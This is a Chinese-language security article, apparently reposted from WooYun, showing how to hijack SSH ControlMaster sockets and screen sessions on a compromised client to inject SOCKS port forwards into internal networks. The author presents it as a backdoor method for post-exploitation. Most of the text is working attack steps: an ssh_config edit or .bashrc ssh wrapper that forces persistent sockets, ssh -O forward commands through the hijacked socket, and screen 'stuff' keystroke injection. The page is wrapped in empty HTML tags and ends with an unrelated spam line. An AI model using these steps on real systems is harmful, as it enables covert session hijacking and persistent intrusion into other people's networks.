<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/5253

            0x00 前言


            昨天A牛發群里的鏈接,其實這種攻擊我感覺適合留后門,屬于Post Exploitation階段,我以前也沒用過這個方法,都是傻呼呼的用個ld_preload后門,實際環境測試通過后,發現可用,比較有實用價值,就分享下,有錯誤的地方還請大家指出。

            0x01 細節


            1.1第一種場景:

            攻擊流程如下:SSH客戶(ssh_user)連接到hop_1,攻擊者(attacker)能夠控制ssh_user這臺機器,攻擊者通過注入端口轉發來實現入侵hop_1和hop_2之后的網絡。步驟如下:

            enter image description here

            1. 攻擊者可以用兩種方式來修改ssh客戶端,如果有ROOT權限可以直接修改/etc/ssh/ssh_config,如果沒有修改ssh_config文件的權限,可以通過在相應用戶的.bashrc中封裝ssh來實現。主要涉及的項如下:

            ControlPath /tmp/%r@%h:%p
            ControlMaster auto
            ControlPersist yes  
            

            enter image description here

            如果打開了ControlPersist,表示用戶在進行SSH連接后,即使退出了會話,我們也能通過socket劫持,因為這個文件不會刪除。

            2. 當(ssh_user)連接到hop_1(192.168.56.131)的時候,會在/tmp目錄下生成一個socket文件,我們使用

            #!bash
            ssh -S [email protected]\:22 %h
            

            來連接

            enter image description here

            注入命令端口轉發的命令如下:

            #!bash
            ssh -O forward -D 8888 -S [email protected]\:22 %x
            

            enter image description here

            執行完這條命令后,我們就可以使用ssh_user這臺機器的8888端口做SOCKS5代理,訪問hop_2后的網段了。

            3. 前面說過,如果ControlPersist為yes,則不會自動刪除sockets文件,[email protected]:22,也可以優雅的使用

            #!bash
            [email protected]: # ssh -O exit -S [email protected]\:22 %x
            

            來刪除。

            在.bashrc里封裝ssh命令的方法如下:

            #!bash
            ssh () 
            { 
                /usr/bin/ssh -o "ControlMaster=auto" -o "ControlPath=/tmp/%r@%h:%p" -o "ControlPersist=yes" "$@";
            }
            

            enter image description here

            1.2第二種場景:

            這種情景是ssh_user用戶使用screen管理ssh會話時的情景,步驟如下:

            enter image description here

            1. 當ssh_user使用

            #!bash
            screen ssh [email protected]
            

            連接遠程的hop_1(192.168.56.131)時,會在/var/run/screen有顯示相應的文件

            #!bash
            [email protected]:~# ls -la /var/run/screen/
            total 0
            drwxrwxr-x  3 root utmp  60 Mar 16 03:37 .
            drwxr-xr-x 20 root root 640 Mar  3 21:23 ..
            drwx------  2 root root  60 Mar 16 04:21 S-root
            

            其中S-ROOT表示是本地的root用戶連接的遠程,可以用screen -r root/來接管會話,或者用screen -x 6851.pts-0.kali

            2. 如果要注入端口轉發,還有 一點要注意,需要先執行script /dev/null來繞過pts/tty限制。命令如下

            #!bash
            [email protected]:~# lsof -i TCP:8888
            [email protected]:~# script /dev/null 
            Script started, file is /dev/null
            [email protected]:~# screen -S 6851.pts-0.kali -p 0 -X  stuff $'~C'
            [email protected]:~# screen -S 6851.pts-0.kali -p 0 -X  stuff $'-D:8888\n\n'
            [email protected]:~# lsof -i TCP:8888
            COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
            ssh     6852 root    7u  IPv4  94301      0t0  TCP *:8888 (LISTEN)
            ssh     6852 root    8u  IPv6  94302      0t0  TCP *:8888 (LISTEN)
            

            注入screen的ssh會話,會有一個不好的地方,就是你敲的命令,會在當前正在連接的用戶那里同時顯示,容易被發現。

            enter image description here

            0x02 參考文章


            http://0xthem.blogspot.com/2015/03/hijacking-ssh-to-inject-port-forwards.html

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线